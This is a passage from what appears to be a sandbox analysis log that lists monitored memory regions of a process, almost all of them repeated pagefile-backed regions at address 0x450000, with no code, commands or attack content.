"pagefile_0x0000000000450000" filename = "" Region: id = 8150 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8151 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8152 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8153 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8154 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8155 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8156 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8157 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8158 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8159 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8160 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8161 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8162 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8163 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8164 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8165 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8166 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8167 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8168 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8169 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8170 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8171 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8172 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8173 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8174 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8175 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8176 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8177 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8178 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 8179 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 8180 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8181 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8182 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8183 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8184 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8185 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8186 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8187 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8188 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8189 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8190 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8191 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8192 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8193 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8194 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8195 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8196 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8197 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8198 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8199 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8200 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8201 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8202 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8203 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8204 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8205 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8206 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8207 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8208 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8209 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8210 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8211 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8212 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8213 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8214 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8215 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8216 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8217 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8218 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8219 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8220 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8221 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8222 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8223 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8224 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8225 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8226 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8227 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8228 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8229 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8230 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8231 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8232 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8233 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8234 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8235 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8236 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8237 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8238 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8239 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8240 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8241 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8242 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8243 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8244 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8245 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8246 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8247 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8248 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8249 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8250 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8251 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8252 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8253 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8254 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8255 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8256 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8257 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8258 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8259 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8260 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8261 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8262 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8263 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8264 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8265 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8266 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8267 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8268 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8269 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8270 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8271 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8272 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8273 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8274 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8275 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8276 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8277 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8278 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8279 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8280 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8281 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8282 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8283 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8284 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8285 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 8286 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 8287 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8288 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8289 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8290 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8291 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8292 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8293 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8294 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8295 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8296 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8297 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8298 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8299 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8300 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8301 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8302 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8303 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8304 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8305 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8306 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8307 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8308 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8309 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8310 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8311 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8312 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8313 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8314 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8315 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8316 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8317 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8318 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8319 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8320 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8321 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8322 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8323 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8324 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8325 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8326 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8327 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8328 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8329 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8330 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8331 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8332 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8333 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8334 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8335 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8336 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8337 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8338 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 8339 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = 